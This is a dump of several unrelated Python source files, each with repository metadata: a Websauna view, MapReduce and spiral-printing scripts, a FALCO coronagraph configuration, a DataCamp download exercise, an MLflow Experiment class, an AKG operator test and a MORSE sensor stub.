except shapely.geos.TopologicalError:
intersection = self.geo.buffer(0).intersection(area_geo.buffer(0))
if intersection.area/area_geo.area > 0.1:
yield area
|
[
"fgregg@uchicago.edu"
] |
fgregg@uchicago.edu
|
bddbb9c1ef1aa13ff2a9a7ce5aad4cdea29336db
|
75915b819739c338b61e664ede0849a1cc0a17d1
|
/webSauna/my.app/my/new_app/views.py
|
9c92bedbda25df6a1573b61f20db7c932551e1d7
|
[] |
no_license
|
gaurav7goyal/pyramid_framework
|
d3f604aa4703a878829ccbc1e50fe0ea74712985
|
c472c6de7e2dcd7deb4ffa187fb46165905505fe
|
refs/heads/master
| 2020-09-23T02:33:37.065084
| 2019-12-27T05:35:13
| 2019-12-27T05:35:13
| 225,379,442
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 348
|
py
|
"""My Application views."""
from websauna.system.http import Request
from websauna.system.core.route import simple_route
# Configure a sample view provided by this addon
@simple_route("/", route_name="home", renderer='my.new_app/home.html')
def home(request: Request):
"""Render site homepage."""
return {"project": "My new Application"}
|
[
"gaurav.goyal@d10x.io"
] |
gaurav.goyal@d10x.io
|
083fe36854fbd371229788e78188c0979a5c2992
|
9136059cc782460a1cd4d74aa7e4570037996202
|
/testingoutputfromreducerc1.py
|
8e3665636e8afbbd913287e86d3a3f4cf89ed0e4
|
[] |
no_license
|
sheikhusmanshakeel/ExtremeComputing2
|
d26dfb02d32e64dcee4f5252ee138b2925f58a26
|
e634100fa4404e540fefe7ad864791a93aaa483f
|
refs/heads/master
| 2021-08-15T05:41:47.942314
| 2017-11-17T11:58:37
| 2017-11-17T11:58:37
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 781
|
py
|
#!/usr/bin/env python
import sys
ownerRowIdDict = dict()
maxCount = 0
currentCount = 0
previousOwnerId = ''
currentOwenrId = ''
answerIds = ''
fileHandle = open('/afs/inf.ed.ac.uk/user/s15/s1579769/excassignment2/outputfromreducerc1', 'r')
# fileHandle = open('/home/raven/PycharmProjects/excassignment2/stacksorted.txt', 'r')
for line in fileHandle.readlines():
currentOwenrId, payload = line.strip('\n').split('\t')
if currentOwenrId not in ownerRowIdDict:
ownerRowIdDict[currentOwenrId] = payload + ' , '
else:
answers = ownerRowIdDict[currentOwenrId]
ownerRowIdDict[currentOwenrId] = answers + ' , ' + payload
for key in ownerRowIdDict.keys():
count = len(ownerRowIdDict[key].split(',')) -1
print("{0}\t{1}".format(key,count))
|
[
"sheikh_usman3@yahoo.com"
] |
sheikh_usman3@yahoo.com
|
ae5725c9cb4a24fb714b7b102620f0ddc2126997
|
e0ba27b8b9894ccffa0bff1b3e0e35d135e5966f
|
/src/api/__init__.py
|
c9932624f8ac5a7077a105c64116fa4199bd5482
|
[] |
no_license
|
tiagodread/lumen_api
|
0188969d178a9bca2897cb8fff0181d7ab6ee9d1
|
41898d2691550c530703b5771ad1176b1b4c2b9f
|
refs/heads/master
| 2020-04-04T01:08:49.312051
| 2018-11-06T15:49:05
| 2018-11-06T15:49:05
| 155,669,556
| 1
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 22
|
py
|
from .api import Api
|
[
"tiago.goes2009@hotmail.com"
] |
tiago.goes2009@hotmail.com
|
b5a06168a7891d65d6d1f2dc37cc42b31c3f9075
|
14b8cf0b67104b53534678b8c0e9525ace4714ff
|
/codeeval/spiral.py
|
8ce3b47e920f2d0e9c03bbd1d9e3a51d4092b051
|
[] |
no_license
|
bhfwg/py_learn
|
bb11898fd81f653643fc61949f43df751d317fcb
|
eca9da748bada67357961d1581d8ec890a3385f8
|
refs/heads/master
| 2020-03-27T15:01:25.881792
| 2018-06-05T01:36:26
| 2018-06-05T01:36:26
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,433
|
py
|
from sys import argv
def spiral_printing(n, m, one):
if n * m == 1:
yield one[0]
return
def point_2_index(x, y):
return x * m + y
ax = 0
ay = 0
bx = 0
by = m - 1
cx = n - 1
cy = m - 1
dx = n - 1
dy = 0
while 1:
for i in xrange(ay, by):
index = point_2_index(ax, i)
yield one[index]
for i in xrange(bx, cx):
index = point_2_index(i, cy)
yield one[index]
for i in xrange(cy, dy, -1):
index = point_2_index(dx, i)
yield one[index]
for i in xrange(dx, ax, -1):
index = point_2_index(i, ax)
yield one[index]
ax += 1
ay += 1
bx += 1
by -= 1
cx -= 1
cy -= 1
dx -= 1
dy += 1
if ay > by or ax > dx:
break
if ay == by:
for i in xrange(bx, cx + 1):
index = point_2_index(i, cy)
yield one[index]
break
elif ax == dx:
for i in xrange(ay, by + 1):
index = point_2_index(ax, i)
yield one[index]
break
f = open(argv[1], 'r')
for one in f:
one = one.strip()
if one:
n, m, one = one.split(';')
n = int(n)
m = int(m)
one = one.split(' ')
print ' '.join(spiral_printing(n, m, one))
f.close()
|
[
"metathinkerk@gmail.com"
] |
metathinkerk@gmail.com
|
17a5a316fa55654604037c588471a6476c68239c
|
04ce9939a13dab2dd306d06f2c420e074de87a03
|
/SiamDW_D/libs/FPNlib/mmdet/ops/__init__.py
|
e24d41db63b2b6739c87dc709f7f552a2b50795e
|
[
"MIT"
] |
permissive
|
cy-sohn/VOT2019
|
d0ae7a083dc96eb2a1bd6f9340dbf36b1583cfc7
|
eaf84c2b58a8ed3ff6ca464dcfdd52519507ae36
|
refs/heads/master
| 2022-03-03T07:43:10.778201
| 2019-10-23T06:32:24
| 2019-10-23T06:32:24
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 68
|
py
|
from .nms import nms, soft_nms
__all__ = [
'nms', 'soft_nms'
]
|
[
"henry.hw.peng@gmail.com"
] |
henry.hw.peng@gmail.com
|
85f1f80f24220aed6e73c2015e66ee635b426869
|
15d4861bf2f4748f144fbb85a128341736060bd2
|
/archive/chemproject/copypaste.py
|
7c72af112b0c881e7824d2aa062e487cae5d3a4b
|
[] |
no_license
|
wombat-drone/fema-flavor-classifier
|
283033d4e1535e3f83fefada41eb4d2a36c138c5
|
9737d5e6322f49b89e61cfa372505d8e217dd4da
|
refs/heads/master
| 2022-11-06T22:38:32.838474
| 2018-01-29T22:58:12
| 2018-01-29T22:58:12
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 514
|
py
|
"""
Tools for sending printouts to clipboard.
Only work for Mac.
"""
import subprocess
def write_to_clipboard(output):
"""
writes output to clipboard
"""
process = subprocess.Popen(
'pbcopy', env={'LANG': 'en_US.UTF-8'}, stdin=subprocess.PIPE)
process.communicate(output.encode('utf-8'))
def read_from_clipboard():
"""
Returns a string with whaterver is in the clipboard.
"""
return subprocess.check_output('pbpaste', env={'LANG': 'en_US.UTF-8'}).decode('utf-8')
|
[
"TRN@BeyondTRN.local"
] |
TRN@BeyondTRN.local
|
a3fcd188a0e4b21306c2d67dfab0717e25089ac6
|
7650c4b0404ff25c26ed5c29e544ed00e259ca50
|
/examples/EXAMPLE_config_DST_LC.py
|
c230007afcb3242d4823f688fe1c22e8b2fc12ef
|
[
"Apache-2.0"
] |
permissive
|
ajeldorado/falco-python
|
b32e1ab24d521a6790b4c18a96a4fa9d239c7882
|
406ccf60392542630a7f1f629fc020b8c8e613d2
|
refs/heads/master
| 2022-11-06T03:27:12.604912
| 2022-10-07T15:22:19
| 2022-10-07T15:22:19
| 137,521,218
| 5
| 2
|
Apache-2.0
| 2022-10-07T15:22:58
| 2018-06-15T18:43:56
|
Python
|
UTF-8
|
Python
| false
| false
| 13,962
|
py
|
# import sys
# sys.path.append('../')
import numpy as np
import falco
mp = falco.config.ModelParameters()
mp.SeriesNum = 1
mp.TrialNum = 34
# Special Computational Settings
mp.flagParallel = True;
mp.useGPU = False;
mp.flagPlot = False;
# General
mp.centering = 'pixel';
# Method of computing core throughput:
# - 'HMI' for energy within half-max isophote divided by energy at telescope pupil
# - 'EE' for encircled energy within a radius (mp.thput_radius) divided by energy at telescope pupil
mp.thput_metric = 'EE'
mp.thput_radius = 0.7; # photometric aperture radius [lambda_c/D]. Used ONLY for 'EE' method.
mp.thput_eval_x = 6; # x location [lambda_c/D] in dark hole at which to evaluate throughput
mp.thput_eval_y = 0; # y location [lambda_c/D] in dark hole at which to evaluate throughput
# Where to shift the source to compute the intensity normalization value.
mp.source_x_offset_norm = 6; # x location [lambda_c/D] in dark hole at which to compute intensity normalization
mp.source_y_offset_norm = 0; # y location [lambda_c/D] in dark hole at which to compute intensity normalization
# Bandwidth and Wavelength Specs
mp.lambda0 = 550e-9; # Central wavelength of the whole spectral bandpass [meters]
mp.fracBW = 0.10; # fractional bandwidth of the whole bandpass (Delta lambda / lambda0)
mp.Nsbp = 5; # Number of sub-bandpasses to divide the whole bandpass into for estimation and control
mp.Nwpsbp = 1; # Number of wavelengths to used to approximate an image in each sub-bandpass
# Wavefront Estimation
# Estimator Options:
# - 'perfect' for exact numerical answer from full model
# - 'pairwise' for pairwise probing with batch process estimation
mp.estimator = 'pairwise'
# Pairwise probing:
mp.est = falco.config.Object()
mp.est.probe = falco.config.Probe()
mp.est.probe.Npairs = 3 # Number of pair-wise probe PAIRS to use.
mp.est.probe.whichDM = 1 # Which DM # to use for probing. 1 or 2. Default is 1
mp.est.probe.radius = 12 # Max x/y extent of probed region [lambda/D].
mp.est.probe.xOffset = 0 # offset of probe center in x [actuators]. Use to avoid central obscurations.
mp.est.probe.yOffset = 10 # offset of probe center in y [actuators]. Use to avoid central obscurations.
mp.est.probe.axis = 'alternate' # which axis to have the phase discontinuity along [x or y or xy/alt/alternate]
mp.est.probe.gainFudge = 1 # empirical fudge factor to make average probe amplitude match desired value.
## Wavefront Control: General
# Threshold for culling weak actuators from the Jacobian:
mp.logGmin = -6; # 10^(mp.logGmin) used on the intensity of DM1 and DM2 Jacobians to weed out the weakest actuators
# Zernikes to suppress with controller
mp.jac = falco.config.Object()
mp.jac.zerns = np.array([1]) # Which Zernike modes to include in Jacobian. Given as the max Noll index. Always include the value "1" for the on-axis piston mode.
mp.jac.Zcoef = 1e-9*np.ones_like(mp.jac.zerns) # meters RMS of Zernike aberrations. (piston value is reset to 1 later)
# Zernikes to compute sensitivities for
mp.eval = falco.config.Object()
mp.eval.indsZnoll = np.array([2, 3]) # Noll indices of Zernikes to compute values for [1-D ndarray]
# Annuli to compute 1nm RMS Zernike sensitivities over. Columns are [inner radius, outer radius]. One row per annulus.
mp.eval.Rsens = np.array([[3., 4.], [4., 8.]]); # [2-D ndarray]
# Grid- or Line-Search Settings
mp.ctrl = falco.config.Object()
mp.ctrl.log10regVec = np.arange(-6, -1.5, 1) # log10 of the regularization exponents (often called Beta values)
mp.ctrl.dmfacVec = np.array([1., ]) # Proportional gain term applied to the total DM delta command. Usually in range [0.5,1]. [1-D ndarray]
# Spatial pixel weighting
mp.WspatialDef = [];# [3, 4.5, 3]; # spatial control Jacobian weighting by annulus: [Inner radius, outer radius, intensity weight; (as many rows as desired)] [ndarray]
# DM weighting
mp.dm1.weight = 1.
mp.dm2.weight = 1.
## Wavefront Control: Controller Specific (case insensitive)
# Controller options:
# - 'gridsearchEFC' for EFC as an empirical grid search over tuning parameters
# - 'plannedEFC' for EFC with an automated regularization schedule
# # # GRID SEARCH EFC DEFAULTS
# WFSC Iterations and Control Matrix Relinearization
# mp.controller = 'gridsearchEFC';
# mp.Nitr = 4 # Number of estimation+control iterations to perform
# mp.relinItrVec = np.arange(mp.Nitr+1) #1:mp.Nitr; # Which correction iterations at which to re-compute the control Jacobian [1-D ndarray]
# mp.dm_ind = np.array([1, 2]) # Which DMs to use [1-D ndarray]
# PLANNED SEARCH EFC DEFAULTS
mp.controller = 'plannedefc'
mp.dm_ind = np.array([1, 2]) # vector of DMs used in controller at ANY time (not necessarily all at once or all the time).
mp.ctrl.dmfacVec = [1]
# CONTROL SCHEDULE. Columns of mp.ctrl.sched_mat are:
# Column 1: # of iterations,
# Column 2: log10(regularization),
# Column 3: which DMs to use (12, 128, 129, or 1289) for control
# Column 4: flag (0 = False, 1 = True), whether to re-linearize
# at that iteration.
# Column 5: flag (0 = False, 1 = True), whether to perform an
# EFC parameter grid search to find the set giving the best
# contrast .
# The imaginary part of the log10(regularization) in column 2 is
# replaced for that iteration with the optimal log10(regularization)
# A row starting with [0, 0, 0, 1...] is for relinearizing only at that time
partA = np.tile(np.array([1, 1j, 12, 1, 1]), (4, 1))
partB = np.tile(np.array([1, 1j-1, 12, 1, 1]), (25, 1))
partC = np.tile(np.array([1, 1j, 12, 1, 1]), (1, 1))
sched_mat = np.concatenate((partA, partB, partC), axis=0)
mp.Nitr, mp.relinItrVec, mp.gridSearchItrVec, mp.ctrl.log10regSchedIn, \
mp.dm_ind_sched = falco.ctrl.efc_schedule_generator(sched_mat)
# Deformable Mirrors: Influence Functions
## Influence Function Options:
## - falco.INFLUENCE_XINETICS uses the file 'influence_dm5v2.fits' for one type of Xinetics DM
## - INFLUENCE_BMC_2K uses the file 'influence_BMC_2kDM_400micron_res10.fits' for BMC 2k DM
## - INFLUENCE_BMC_KILO uses the file 'influence_BMC_kiloDM_300micron_res10_spline.fits' for BMC kiloDM
mp.dm1.inf_fn = falco.INFLUENCE_XINETICS
mp.dm2.inf_fn = falco.INFLUENCE_XINETICS
mp.dm1.dm_spacing = 0.9906e-3;#1e-3; # User defined actuator pitch
mp.dm2.dm_spacing = 0.9906e-3;#1e-3; # User defined actuator pitch
mp.dm1.inf_sign = '+';
mp.dm2.inf_sign = '+';
# Deformable Mirrors: Optical Layout Parameters
## DM1 parameters
mp.dm1.Nact = 48; # # of actuators across DM array
mp.dm1.VtoH = 1e-9*np.ones((48,48)) # gains of all actuators [nm/V of free stroke]
mp.dm1.xtilt = 0; # for foreshortening. angle of rotation about x-axis [degrees]
mp.dm1.ytilt = 0 # for foreshortening. angle of rotation about y-axis [degrees]
mp.dm1.zrot = 0; # clocking of DM surface [degrees]
mp.dm1.xc = (48/2 - 1/2); # x-center location of DM surface [actuator widths]
mp.dm1.yc = (48/2 - 1/2); # y-center location of DM surface [actuator widths]
mp.dm1.edgeBuffer = 1; # max radius (in actuator spacings) outside of beam on DM surface to compute influence functions for. [actuator widths]
## DM2 parameters
mp.dm2.Nact = 48; # # of actuators across DM array
mp.dm2.VtoH = 1e-9*np.ones((48,48)) # gains of all actuators [nm/V of free stroke]
mp.dm2.xtilt = 0; # for foreshortening. angle of rotation about x-axis [degrees]
mp.dm2.ytilt = 0 # for foreshortening. angle of rotation about y-axis [degrees]
mp.dm2.zrot = 0; # clocking of DM surface [degrees]
mp.dm2.xc = (48/2 - 1/2); # x-center location of DM surface [actuator widths]
mp.dm2.yc = (48/2 - 1/2); # y-center location of DM surface [actuator widths]
mp.dm2.edgeBuffer = 1; # max radius (in actuator spacings) outside of beam on DM surface to compute influence functions for. [actuator widths]
## Aperture stops at DMs
mp.flagDM1stop = False; # Whether to apply an iris or not
mp.dm1.Dstop = 100e-3; # Diameter of iris [meters]
mp.flagDM2stop = False; # Whether to apply an iris or not
mp.dm2.Dstop = 50e-3; # Diameter of iris [meters]
## DM separations
mp.d_P2_dm1 = 0; # distance (along +z axis) from P2 pupil to DM1 [meters]
mp.d_dm1_dm2 = 1.000; # distance between DM1 and DM2 [meters]
# Optical Layout: All models
## Key Optical Layout Choices
mp.flagSim = True; # Simulation or not
mp.layout = 'Fourier'; # Which optical layout to use
mp.coro = 'LC'
mp.flagApod = False # Whether to use an apodizer or not
### NEED TO DETERMINE
mp.Fend = falco.config.Object()
## Final Focal Plane Properties
mp.Fend.res = 3.0; # Sampling [ pixels per lambda0/D]
mp.Fend.FOV = 11.; # half-width of the field of view in both dimensions [lambda0/D]
### NEED TO DETERMINE
## Correction and scoring region definition
mp.Fend.corr = falco.config.Object()
mp.Fend.corr.Rin = 2.8; # inner radius of dark hole correction region [lambda0/D]
mp.Fend.corr.Rout = 10; # outer radius of dark hole correction region [lambda0/D]
mp.Fend.corr.ang = 180; # angular opening of dark hole correction region [degrees]
#
mp.Fend.score = falco.config.Object()
mp.Fend.score.Rin = 2.8; # inner radius of dark hole scoring region [lambda0/D]
mp.Fend.score.Rout = 10; # outer radius of dark hole scoring region [lambda0/D]
mp.Fend.score.ang = 180; # angular opening of dark hole scoring region [degrees]
#
mp.Fend.sides = 'leftright' # Which side(s) for correction: 'left', 'right', 'top', 'up', 'bottom', 'down', 'lr', 'rl', 'leftright', 'rightleft', 'tb', 'bt', 'ud', 'du', 'topbottom', 'bottomtop', 'updown', 'downup'
# Optical Layout: Compact Model (and Jacobian Model)
## NOTE for HLC and LC: Lyot plane resolution must be the same as input pupil's in order to use Babinet's principle
## Focal Lengths
mp.fl = 1.; # [meters] Focal length value used for all FTs in the compact model. Don't need different values since this is a Fourier model.
## Pupil Plane Diameters
mp.P2.D = 46.3e-3;
mp.P3.D = 46.3e-3;
mp.P4.D = 46.3e-3;
### NEED TO DETERMINE
## Pupil Plane Resolutions
mp.P1.compact.Nbeam = 300
# mp.P2.compact.Nbeam = 300
# mp.P3.compact.Nbeam = 300
mp.P4.compact.Nbeam = 300
## Number of re-imaging relays between pupil planesin compact model. Needed
## to keep track of 180-degree rotations compared to the full model, which
## in general can have probably has extra collimated beams compared to the
## compact model.
mp.Nrelay1to2 = 1
mp.Nrelay2to3 = 1
mp.Nrelay3to4 = 1
mp.NrelayFend = 0 # How many times to rotate the final image by 180 degrees
# Optical Layout: Full Model
## Focal Lengths
## mp.fl = 1;
#
## Pupil Plane Resolutions
mp.P1.full.Nbeam = 300
# mp.P2.full.Nbeam = 300
# mp.P3.full.Nbeam = 300
mp.P4.full.Nbeam = 300
# %% Entrance Pupil (P1) Definition and Generation
##Pupil definition
mp.whichPupil = 'Simple'
mp.P1.IDnorm = 0.00 # ID of the central obscuration [diameter]. Used only for computing the RMS DM surface from the ID to the OD of the pupil. OD is assumed to be 1.
mp.P1.ODnorm = 1.00
# mp.P1.IDnorm = 0.303; # ID of the central obscuration [diameter]. Used only for computing the RMS DM surface from the ID to the OD of the pupil. OD is assumed to be 1.
mp.P1.D = 4.0; # telescope diameter [meters]. Used only for converting milliarcseconds to lambda0/D or vice-versa.
# mp.P1.Dfac = 1; # Factor scaling inscribed OD to circumscribed OD for the telescope pupil.
# Inputs common to both the compact and full models
inputs = {"OD": 1.00}
# Full model only
inputs["Nbeam"] = mp.P1.full.Nbeam
inputs["Npad"] = falco.util.ceil_even(mp.P1.full.Nbeam+2) # 2**(falco.util.nextpow2(mp.P1.full.Nbeam))
mp.P1.full.mask = falco.mask.falco_gen_pupil_Simple(inputs)
# Compact model only
inputs["Nbeam"] = mp.P1.compact.Nbeam
inputs["Npad"] = falco.util.ceil_even(mp.P1.compact.Nbeam+2) #2**(falco.util.nextpow2(mp.P1.compact.Nbeam))
mp.P1.compact.mask = falco.mask.falco_gen_pupil_Simple(inputs)
# %% "Apodizer" (P3) Definition and Generation
mp.flagApod = False # Whether to use an apodizer or not
# %% Lyot stop (P4) Definition and Generation
# Lyot stop geometry
mp.P4.wStrut = 0.005 # nominal pupil's value is 76mm = 3.216#
mp.P4.IDnorm = 47.36/227.86 # Lyot stop ID [Dtelescope]
mp.P4.ODnorm = 156.21/227.86 # Lyot stop OD [Dtelescope]
mp.P4.angStrut = [90, 210, 330] # degrees
# Inputs common to both the compact and full models
inputs = {
'ID': mp.P4.IDnorm,
'OD': mp.P4.ODnorm,
'angStrut': mp.P4.angStrut,
'wStrut': mp.P4.wStrut,
}
# Full model
inputs["Nbeam"] = mp.P4.full.Nbeam
inputs["Npad"] = 2**(falco.util.nextpow2(mp.P4.full.Nbeam))
mp.P4.full.mask = falco.mask.falco_gen_pupil_Simple(inputs)
# Compact model
inputs["Nbeam"] = mp.P4.compact.Nbeam
inputs["Npad"] = 2**(falco.util.nextpow2(mp.P4.compact.Nbeam))
mp.P4.compact.mask = falco.mask.falco_gen_pupil_Simple(inputs)
# %% FPM (F3) Definition and Generation
# FPM size
mp.F3.Rin = 2.8 # maximum radius of inner part of the focal plane mask [lambda0/D]
mp.F3.Rout = np.Inf # radius of outer opaque edge of FPM [lambda0/D]
mp.F3.ang = 180 # on each side, opening angle [degrees]
mp.F3.FPMampFac = 10**(-3.7/2.0) # amplitude transmission of the FPM
mp.F3.compact.res = 6 # sampling of FPM for full model [pixels per lambda0/D]
mp.F3.full.res = 6 # sampling of FPM for full model [pixels per lambda0/D]
# Both models
FPM = {}
FPM["rhoInner"] = mp.F3.Rin # radius of inner FPM amplitude spot (in lambda_c/D)
FPM["rhoOuter"] = mp.F3.Rout # radius of outer opaque FPM ring (in lambda_c/D)
FPM["centering"] = mp.centering
FPM["FPMampFac"] = mp.F3.FPMampFac # amplitude transmission of inner FPM spot
# Full model
FPM["pixresFPM"] = mp.F3.full.res
mp.F3.full.mask = falco.mask.gen_annular_fpm(FPM)
# Compact model
FPM["pixresFPM"] = mp.F3.compact.res;
mp.F3.compact.mask = falco.mask.gen_annular_fpm(FPM)
|
[
"aj.riggs@jpl.nasa.gov"
] |
aj.riggs@jpl.nasa.gov
|
68eeea5ed3b7b64fa83adeca2d9a513d9c57fd1c
|
24caa6710105a060fab2e17147e6d56609939011
|
/06-Importing_Data_in_Python_(Part_2)/01-Importing_data_from_the_Internet/01-Importing_flat_files_from_the_web_your_turn!.py
|
b845373064884f87b9853e85c1360cd5849f5a64
|
[] |
no_license
|
inverseundefined/DataCamp
|
99607022ad3f899d7681ad1f70fcedab290e269a
|
7226b6b6f41888c3610a884db9a226e013d37e56
|
refs/heads/master
| 2022-01-10T00:53:21.714908
| 2019-07-24T13:27:49
| 2019-07-24T13:27:49
| 198,280,648
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,446
|
py
|
'''
Importing flat files from the web: your turn!
You are about to import your first file from the web! The flat file you will import will be 'winequality-red.csv' from the University of California, Irvine's Machine Learning repository. The flat file contains tabular data of physiochemical properties of red wine, such as pH, alcohol content and citric acid content, along with wine quality rating.
The URL of the file is
'https://s3.amazonaws.com/assets.datacamp.com/production/course_1606/datasets/winequality-red.csv'
After you import it, you'll check your working directory to confirm that it is there and then you'll load it into a pandas DataFrame.
Instructions
100 XP
Import the function urlretrieve from the subpackage urllib.request.
Assign the URL of the file to the variable url.
Use the function urlretrieve() to save the file locally as 'winequality-red.csv'.
Execute the remaining code to load 'winequality-red.csv' in a pandas DataFrame and to print its head to the shell.
Take Hint (-30 XP)
'''
# Import package
from urllib.request import urlretrieve
# Import pandas
import pandas as pd
# Assign url of file: url
url = 'https://s3.amazonaws.com/assets.datacamp.com/production/course_1606/datasets/winequality-red.csv'
# Save file locally
urlretrieve(url, 'winequality-red.csv')
# Read file into a DataFrame and print its head
df = pd.read_csv('winequality-red.csv', sep=';')
print(df.head())
|
[
"inversedrivenundefined@gmail.com"
] |
inversedrivenundefined@gmail.com
|
af110594bc60b09186afd5627301dc1dbf379ca8
|
af61044c866eb85ca2c622e082090f7657431206
|
/webcli/arthur_utils/experiment.py
|
a2e95ed3a2caacf3035abf7dcdb6607dbfd126af
|
[] |
no_license
|
leepand/gridpoc
|
f7959ef099d8a5513c59dfeb682761771ffe7594
|
4c476cd0241a95a4a7d2abf53a519d3749ecfb94
|
refs/heads/master
| 2020-04-28T02:38:49.631595
| 2019-03-11T02:01:50
| 2019-03-11T02:01:50
| 174,906,542
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,502
|
py
|
from _mlflow_object import _MLflowObject
class Experiment(_MLflowObject):
"""
Experiment object.
"""
DEFAULT_EXPERIMENT_ID = 0
ACTIVE_LIFECYCLE = 'active'
DELETED_LIFECYCLE = 'deleted'
def __init__(self, experiment_id, name, artifact_location, lifecycle_stage):
super(Experiment, self).__init__()
self._experiment_id = experiment_id
self._name = name
self._artifact_location = artifact_location
self._lifecycle_stage = lifecycle_stage
@property
def experiment_id(self):
"""Integer ID of the experiment."""
return self._experiment_id
@property
def name(self):
"""String name of the experiment."""
return self._name
def _set_name(self, new_name):
self._name = new_name
@property
def artifact_location(self):
"""String corresponding to the root artifact URI for the experiment."""
return self._artifact_location
@property
def lifecycle_stage(self):
"""Lifecycle stage of the experiment. Can either be 'active' or 'deleted'."""
return self._lifecycle_stage
@classmethod
def from_proto(cls, proto):
return cls(proto.experiment_id, proto.name, proto.artifact_location, proto.lifecycle_stage)
@classmethod
def _properties(cls):
# TODO: Hard coding this list of props for now. There has to be a clearer way...
return ["experiment_id", "name", "artifact_location", "lifecycle_stage"]
|
[
"85721094@qq.com"
] |
85721094@qq.com
|
6c45e72f32ca223fecfcc490073f0cd0d14b4b65
|
0130c8b14927097663157846adc4b146d67d2fda
|
/tests/common/test_run/div_no_nan_run.py
|
1a2c66c665dc13f6f5900b55ab27ee71b9d67109
|
[
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference",
"Unlicense",
"BSD-3-Clause",
"NCSA",
"LLVM-exception",
"Zlib",
"BSD-2-Clause",
"MIT"
] |
permissive
|
Shigangli/akg
|
e8be3e0ee1eafe3e42b4cc4d424c28f08ef4c0bc
|
3766c54e0b109541932d147a6b5643a334b82403
|
refs/heads/master
| 2023-09-06T05:13:40.571583
| 2021-11-23T03:44:54
| 2021-11-23T03:44:54
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,497
|
py
|
# Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import numpy as np
from akg.utils import kernel_exec as utils
from tests.common.test_op import div_no_nan
from tests.common.tensorio import compare_tensor
from tests.common.base import get_rtol_atol
from tests.common.gen_random import random_gaussian
def div_no_nan_execute(shapes, dtype, attrs):
exp_output, inputs, args = gen_data(dtype, shapes)
mod = div_no_nan_compile(shapes, dtype, attrs)
# result_tvm
acu_output = utils.mod_launch(mod, args, expect=exp_output)
# compare result
rtol, atol = get_rtol_atol("div_no_nan", dtype)
TestCase_Result = compare_tensor(acu_output, exp_output, rtol=rtol, atol=atol, equal_nan=True)
return inputs, acu_output, exp_output, TestCase_Result
def gen_data(dtype, shapes):
# Result_Numpy
data_x = random_gaussian(shapes[0], miu=1, sigma=0.1).astype(dtype)
data_y = random_gaussian(shapes[1], miu=0, sigma=2**-64).astype(dtype)
if dtype in ["uint8", "int8", "int32"]:
is_zero = np.equal(0, data_y)
if dtype in ["float16"]:
is_zero = np.less(np.abs(data_y), 2**-12)
if dtype in ["float32"]:
is_zero = np.less(np.abs(data_y), 2**-64)
if dtype in ["uint8", "int8", "int32"]:
exp_output = np.floor_divide(np.multiply(data_x, (1 - is_zero)), data_y + is_zero)
if dtype in ["float16", "float32"]:
exp_output = np.true_divide(np.multiply(data_x, (1 - is_zero)), data_y + is_zero)
# inputs and output to hold the data
output = np.full(exp_output.shape, np.nan, dtype)
inputs = [data_x, data_y]
args = [data_x, data_y, output]
return exp_output, inputs, args
def div_no_nan_compile(shapes, dtype, attrs, kernel_name='div_no_nan', runing=False):
return utils.op_build_test(div_no_nan.div_no_nan, [shapes[0], shapes[1]], [dtype, dtype], kernel_name=kernel_name, attrs=attrs, tuning=runing)
|
[
"1027252281@qq.com"
] |
1027252281@qq.com
|
210e5ddca76bde20cfc78dc0b2d86fc7fb822f00
|
1170dd002a501a15f51c1282638b4d2146cab6b6
|
/roboarchsim/src/roboarchsim/sensors/probeviz.py
|
a827522e9c771446bfacd0b3344f5aa2ce868992
|
[] |
no_license
|
kaosbeat/roboarch
|
7f9ce45c9d51e6f172ee5673b83430cbc1571a4b
|
010d6b7777fd3843da8b7b325dcc8552e500a103
|
refs/heads/master
| 2020-03-17T19:31:58.999814
| 2018-05-21T07:49:03
| 2018-05-21T07:49:03
| 133,867,312
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,991
|
py
|
import logging; logger = logging.getLogger("morse." + __name__)
import morse.core.sensor
import math
from roboarchsim.builder.sensors import perlin
# import perlin
from morse.core.services import service, async_service
from morse.core import status
from morse.helpers.components import add_data, add_property
class Probeviz(morse.core.sensor.Sensor):
"""Write here the general documentation of your sensor.
It will appear in the generated online documentation.
"""
_name = "Probeviz"
_short_desc = "visualiseses probe vector"
# define here the data fields exported by your sensor
# format is: field name, default initial value, type, description
add_data('probevalue', 0.0, 'int', 'random testdata')
add_data('distance', 0.0, 'float', 'Distance from origin in meters')
add_data('x', 0.0, 'float', 'xpos')
add_data('y', 0.0, 'float', 'ypos')
add_data('z', 0.0, 'float', 'zpos')
add_data('color', 'none', 'str', 'A dummy colorimeter, for testing purposes. Default to \'none\'.')
def __init__(self, obj, parent=None):
logger.info("%s initialization" % obj.name)
# Call the constructor of the parent class
morse.core.sensor.Sensor.__init__(self, obj, parent)
# Do here sensor specific initializations
self._distance = 0 # dummy internal variable, for testing purposes
logger.info('probeviz component initialized')
self._step = 0
self._pnf = perlin.PerlinNoiseFactory(1,2)
self._pnf2 = perlin.PerlinNoiseFactory(2,2)
@service
def get_current_distance(self):
""" This is a sample (blocking) service (use 'async_service' decorator
for non-blocking ones).
Simply returns the value of the internal counter.
You can access it as a RPC service from clients.
"""
logger.info("%s is %sm away" % (self.name, self.local_data['distance']))
return self.local_data['distance']
def default_action(self):
""" Main loop of the sensor.
Implements the component behaviour
"""
self._step = self._step + 1
import random
# implement here the behaviour of your sensor
# self.local_data['probevalue'] = random.randint(0, 1024)
# self.local_data['probevalue'] = 512 + 512*self._pnf(self._step/1000)
